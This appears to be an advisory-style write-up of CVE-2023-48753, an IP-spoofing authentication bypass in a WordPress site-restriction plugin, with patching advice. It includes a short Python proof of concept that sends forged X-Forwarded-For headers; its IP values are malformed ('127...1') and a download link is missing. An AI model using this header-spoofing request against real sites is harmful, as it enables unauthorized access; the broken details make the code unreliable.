CVE-2023-48753 - Authentication Bypass by Spoofing Vulnerability in 10up Restricted Site Access Plugin Allows Unauthorized Access to Protected WordPress Websites

A security vulnerability, assigned the CVE-2023-48753, has been discovered within the authentication system of 10up's Restricted Site Access plugin for WordPress websites. This vulnerability allows attackers to bypass the Access Control Lists (ACLs) implemented by this plugin, thereby accessing restricted areas of a WordPress website without proper authentication. The vulnerability affects all versions of Restricted Site Access from “n/a” to 7.4.1.

Vulnerability Details

The authentication bypass vulnerability arises from the plugin not properly constraining functionality as dictated by ACLs. By exploiting this vulnerability, attackers can spoof their identity to gain unauthorized access to restricted areas within the affected WordPress website.

Further investigation shows that the vulnerability can be successfully exploited by sending specially crafted HTTP requests. These requests manipulate the plugin's checking mechanism for determining if the user should have access to the restricted part of the website. This spoofing technique ultimately allows an attacker to bypass the plugin's ACL implementation.

Proof of Concept (PoC)

Here's a code snippet that demonstrates a simple exploit to gain unauthorized access to a WordPress website protected by the vulnerable Restricted Site Access plugin:

import requests

target_url = "https://target-site.com/restricted-area";
spoofed_headers = {
    "X-Forwarded-For": "127...1",
    "X-Real-IP": "127...1",
    "X-Client-IP": "127...1"
}

response = requests.get(target_url, headers=spoofed_headers)

if response.status_code == 200:
    print("Access to restricted area granted!")
else:
    print("Failed to bypass access control!")

This proof of concept is written in Python programming language. It simply sends an HTTP GET request to the restricted area of the target WordPress website by including spoofed headers that trick the plugin into believing the request is originating from a trusted IP address.

This vulnerability was originally reported by security researchers at the following reference

1. CVE-2023-48753 - An official reference for the CVE detailing the vulnerability, affected versions, and other relevant information.

Solution

The developers of the Restricted Site Access plugin have addressed the issue in version 7.4.2. All users of the affected WordPress plugin should update to this version or later immediately to ensure their protected websites are no longer vulnerable to this authentication bypass vulnerability. You can download the patched version 7.4.2 from here.

Summary

In conclusion, an authentication bypass by a spoofing vulnerability (CVE-2023-48753) has been discovered within 10up's Restricted Site Access plugin for WordPress websites, affecting versions from "n/a" to 7.4.1. This security flaw allows potential attackers to gain unauthorized access to restricted areas of a website without proper authentication. Users of the affected plugin should update to version 7.4.2 or later as soon as possible to ensure their websites are protected from this security vulnerability.

Timeline

Published on: 06/04/2024 11:15:50 UTC
Last modified on: 06/04/2024 16:57:41 UTC